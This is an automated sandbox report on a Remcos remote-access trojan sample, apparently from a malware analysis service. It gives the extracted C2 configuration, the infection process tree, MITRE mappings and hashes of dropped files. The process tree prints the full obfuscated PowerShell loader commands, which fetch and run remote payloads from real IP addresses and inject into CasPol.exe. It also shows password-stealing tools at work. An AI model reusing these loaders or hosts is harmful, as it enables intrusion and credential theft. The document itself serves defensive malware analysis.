remcos | 53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128

Analysis

max time kernel
148s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
04-02-2025 14:25

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General

Target

sheisbestforbetterforgoodthingstogetbackbetterthingsforgood.hta
Size

14KB
MD5

b6572f3c40c7c1f48cf6d3cf6383e58d
SHA1

ef572061a9b3a4bf0a1b1df74357edc4f810c039
SHA256

53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128
SHA512

1df142f5f3e71a93d41452ae666003c173de45395501c75dd9405813ec10600e5f674e5647e6c1b6f7f53b90e5b2687c951c4fecc2e19332bc93a614e3efd8f0
SSDEEP

96:fLgCkOWCkoT+aKau28uaDrUgrUCicCkbZ+:0CkVCkoT+aKarp/kCkk

Score

10^/10

remcos remotehost collection defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

192.3.243.136:6878

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JARS2X
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1252-106-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3104-110-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2464-107-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1252-106-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2464-107-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
24	2648	powershell.exe
27	5000	powershell.exe
28	5000	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
4640	cmd.exe
2648	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Control Panel\International\Geo\Nation	mshta.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5000	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 5000 set thread context of 1564	5000	powershell.exe	96
PID 1564 set thread context of 2464	1564	CasPol.exe	97
PID 1564 set thread context of 1252	1564	CasPol.exe	98
PID 1564 set thread context of 3104	1564	CasPol.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2648	powershell.exe
2648	powershell.exe
5000	powershell.exe
5000	powershell.exe
2464	CasPol.exe
2464	CasPol.exe
3104	CasPol.exe
3104	CasPol.exe
2464	CasPol.exe
2464	CasPol.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
1564	CasPol.exe
1564	CasPol.exe
1564	CasPol.exe
1564	CasPol.exe
1564	CasPol.exe
1564	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeDebugPrivilege	3104	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1564	CasPol.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 5032 wrote to memory of 4640	5032	mshta.exe	85
PID 5032 wrote to memory of 4640	5032	mshta.exe	85
PID 5032 wrote to memory of 4640	5032	mshta.exe	85
PID 4640 wrote to memory of 2648	4640	cmd.exe	87
PID 4640 wrote to memory of 2648	4640	cmd.exe	87
PID 4640 wrote to memory of 2648	4640	cmd.exe	87
PID 2648 wrote to memory of 3804	2648	powershell.exe	90
PID 2648 wrote to memory of 3804	2648	powershell.exe	90
PID 2648 wrote to memory of 3804	2648	powershell.exe	90
PID 3804 wrote to memory of 3308	3804	csc.exe	92
PID 3804 wrote to memory of 3308	3804	csc.exe	92
PID 3804 wrote to memory of 3308	3804	csc.exe	92
PID 2648 wrote to memory of 4888	2648	powershell.exe	93
PID 2648 wrote to memory of 4888	2648	powershell.exe	93
PID 2648 wrote to memory of 4888	2648	powershell.exe	93
PID 4888 wrote to memory of 5000	4888	WScript.exe	94
PID 4888 wrote to memory of 5000	4888	WScript.exe	94
PID 4888 wrote to memory of 5000	4888	WScript.exe	94
PID 5000 wrote to memory of 1564	5000	powershell.exe	96
PID 5000 wrote to memory of 1564	5000	powershell.exe	96
PID 5000 wrote to memory of 1564	5000	powershell.exe	96
PID 5000 wrote to memory of 1564	5000	powershell.exe	96
PID 5000 wrote to memory of 1564	5000	powershell.exe	96
PID 5000 wrote to memory of 1564	5000	powershell.exe	96
PID 5000 wrote to memory of 1564	5000	powershell.exe	96
PID 5000 wrote to memory of 1564	5000	powershell.exe	96
PID 5000 wrote to memory of 1564	5000	powershell.exe	96
PID 5000 wrote to memory of 1564	5000	powershell.exe	96
PID 1564 wrote to memory of 2464	1564	CasPol.exe	97
PID 1564 wrote to memory of 2464	1564	CasPol.exe	97
PID 1564 wrote to memory of 2464	1564	CasPol.exe	97
PID 1564 wrote to memory of 2464	1564	CasPol.exe	97
PID 1564 wrote to memory of 1252	1564	CasPol.exe	98
PID 1564 wrote to memory of 1252	1564	CasPol.exe	98
PID 1564 wrote to memory of 1252	1564	CasPol.exe	98
PID 1564 wrote to memory of 1252	1564	CasPol.exe	98
PID 1564 wrote to memory of 3100	1564	CasPol.exe	99
PID 1564 wrote to memory of 3100	1564	CasPol.exe	99
PID 1564 wrote to memory of 3100	1564	CasPol.exe	99
PID 1564 wrote to memory of 3448	1564	CasPol.exe	100
PID 1564 wrote to memory of 3448	1564	CasPol.exe	100
PID 1564 wrote to memory of 3448	1564	CasPol.exe	100
PID 1564 wrote to memory of 1360	1564	CasPol.exe	101
PID 1564 wrote to memory of 1360	1564	CasPol.exe	101
PID 1564 wrote to memory of 1360	1564	CasPol.exe	101
PID 1564 wrote to memory of 3104	1564	CasPol.exe	102
PID 1564 wrote to memory of 3104	1564	CasPol.exe	102
PID 1564 wrote to memory of 3104	1564	CasPol.exe	102
PID 1564 wrote to memory of 3104	1564	CasPol.exe	102

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\sheisbestforbetterforgoodthingstogetbackbetterthingsforgood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5032
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c pOWershell.exe -ex bypASS -NOP -w 1 -C DeviCECredEnTiaLdeploYmeNt ; iEX($(IEx('[sYStEM.TEXT.encOdinG]'+[cHar]0x3a+[ChAR]0X3a+'UtF8.GetstrING([SYSTeM.CoNVERt]'+[chaR]0X3a+[chAr]0X3A+'fROMbASe64sTrING('+[ChAr]34+'JEdrb1B4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWRjLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExvS2Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdWlDeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1ZzdFpkblYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWJPY0x4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiWU5aIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3VoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHa29QeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi80MzAvZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29kLmdJRiIsIiRlTnY6QVBQREFUQVxnb29kZ2lybGFsd2F5c2JlYWdvb2RnaXJsd2l0aGJldHRlcnBlcnNvbmdvb2dpcmx3aXRoLnZicyIsMCwwKTtTdEFSVC1zbGVFcCgzKTtJbnZPa2UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29naXJsd2l0aC52YnMi'+[ChAr]34+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    pOWershell.exe -ex bypASS -NOP -w 1 -C DeviCECredEnTiaLdeploYmeNt ; iEX($(IEx('[sYStEM.TEXT.encOdinG]'+[cHar]0x3a+[ChAR]0X3a+'UtF8.GetstrING([SYSTeM.CoNVERt]'+[chaR]0X3a+[chAr]0X3A+'fROMbASe64sTrING('+[ChAr]34+'JEdrb1B4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWRjLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExvS2Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdWlDeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1ZzdFpkblYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWJPY0x4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiWU5aIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3VoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHa29QeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi80MzAvZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29kLmdJRiIsIiRlTnY6QVBQREFUQVxnb29kZ2lybGFsd2F5c2JlYWdvb2RnaXJsd2l0aGJldHRlcnBlcnNvbmdvb2dpcmx3aXRoLnZicyIsMCwwKTtTdEFSVC1zbGVFcCgzKTtJbnZPa2UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29naXJsd2l0aC52YnMi'+[ChAr]34+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ukbu5rnk\ukbu5rnk.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3804
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAB44.tmp" "c:\Users\Admin\AppData\Local\Temp\ukbu5rnk\CSC3A6F9598F17B4F4FBA88E23CA42230F1.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3308
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4888
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZQBpAHQAcwBlAGIAeQBtAHIAbwBmAGQAbwBvAGcAcwBzAGUAbgB0AGEAZQByAGcAaAB0AGkAdwBzAGcAbgBpAGgAdAB0AHMAZQBiAGUAaAB0AGUAZQBzAC8AMAAzADQALwAyADcALgA3AC4AOAA2ADEALgA0ADAAMQAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADgAMwAzADQANQAzADMALwBhAGwAYwBiADQAaAB0AG8AbAB6AHYAZgBoAHoAegB1AGYAcQBoADUALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAEMAYQBzAFAAbwBsACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5000
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1564
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\arvaogfmtwegsuqtwneffdhushvuoss"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2464
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ktitoyqooewlvbexfyryqqcdawfdhdjazn"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:1252
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\vnodprb"
        7⤵
        
        PID:3100
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\vnodprb"
        7⤵
        
        PID:3448
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\vnodprb"
        7⤵
        
        PID:1360
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\vnodprb"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
102B

MD5
2d5a2b9b9578e62cee5253b83755e5d1

SHA1
8e41edee4443f4788e34995dab8c90c7bdbf2165

SHA256
4442df7e3e739ecaab478a74d8860c233c30b55c60bf602e2f1aa3ffa0258946

SHA512
0e93e74e58981c3c299c71f1a5afd9c09fbbba7c792b88b0561b9479a6411deb15f3d4eadafde57ecd33e8947adac882ad3bd90a5bf2825a39e780986727e8c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
16d148ee8aaab0b418be74094f81ba47

SHA1
db15a72bc4d26927b531b5cd9aaa5612e4c7577b

SHA256
b3c68e85d4626670548536d80937bd0ee2909036c463e586d9154f3009c36f22

SHA512
8340a3bd6fd72fa37fce517ef650f0a42c4a4aba89430aa8eeefac327bd1f0b0b42fbc8c9fb9a48bfbd29f509c976459a2ae95127c9c5164dfb9006617c43aef

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESAB44.tmp

Filesize
1KB

MD5
a44f48e08623b7d6d6efeb8c173a7774

SHA1
7b17450d4d7fb45ef2b39f39aed5ddcb9018d129

SHA256
f7254041236e0238fef0e38ce84b62f6b24780462ad6d2eb80f61632b102df6d

SHA512
696f452ef426ae5cb328eb98a3088f5a893dd03eadf7f746a9c0192f67469d6a4b8428577200105d25c8e06e3ab8029102a6439ec4a7eedd33b9a53105ed8a1e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ygcg3oom.y5w.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\arvaogfmtwegsuqtwneffdhushvuoss

Filesize
4KB

MD5
f59f92591b8d57a95f1a5beb23a658d7

SHA1
6d26907d3d1ad1799f6bda6ba2c7db51f0e8d56d

SHA256
2a662290f17ef4bd2b908aea8ebcabeef63117955b5be1769425bdefdbad1b22

SHA512
b619288957ad69898e325207462e20cfa7bbf9b116ec5237da6fe47fef5450b1e9e040f1c60941b00bad9e9cb31f775c843f4d180f575643d6894f51548aa13b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ukbu5rnk\ukbu5rnk.dll

Filesize
3KB

MD5
9cdb9f32e097030d2470598ccd551a0b

SHA1
9899c945ff5d55b173fbce932ebe56e2251e1469

SHA256
81833befd418d47c29061f58a350bbb6867b9e099b6635dea65197306560b466

SHA512
ab23935661c5a6c34cb5a9a3e7dfd4371e0ad8ad14e4948a548ac94f67ef431ceb3dd6ac9aaac2d48528bea03f2d2ff064673c97d4d6f402f6c4b883fe44fc81

Download Submit
C:\Users\Admin\AppData\Roaming\goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs

Filesize
223KB

MD5
333ba8d914c321df855e5b74274f38d0

SHA1
e5d512a9c1d7c5be82bf4fd4e9b5dea83793ca79

SHA256
048099ca7e2e55ad822eb367fcc5b7e5ecf98557651825a03c34ca8373120139

SHA512
50699c6433d0d541658d8a419f3a240b49c60b06352fc5f9d61008decf647f03e40a2afcc20c1ba5855ae34eb7c45dec52c4f7ab46d81bafa9e7be83a006fe7f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ukbu5rnk\CSC3A6F9598F17B4F4FBA88E23CA42230F1.TMP

Filesize
652B

MD5
4dc9ac45a0118e16f0ee2ebdcd7815ca

SHA1
7eaedda36a00fab651afa5145a3df290a84780d3

SHA256
e385832952bf48d2710ac3814804276afffdc885ed30c5cf536656905aca9742

SHA512
91c14ddae1c634ca544bd0226bcb063702b2ed5220d5980727fc902548342a70b2c5a314c66a27ab699480eec8bb6d091d0e655cfd1e30bd1ceb34a5ae8228b2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ukbu5rnk\ukbu5rnk.0.cs

Filesize
465B

MD5
7da95fb8f830258ef72b0f5c7b4d425c

SHA1
c625a70e4f81b9e04b7d95479e37c90e9c8f4f71

SHA256
59fb5ee2f23beec8c2623d2686a7b52d2eaf786f90869990d525facc2a2da7fa

SHA512
039be9d1aabc4e450ab1ffe219425f21e3938fc530899863908c4900545275d5468659fd1cd0665a05d521f81eca17417b8f82e8eea102ddca08c0c82cc05926

Download Submit
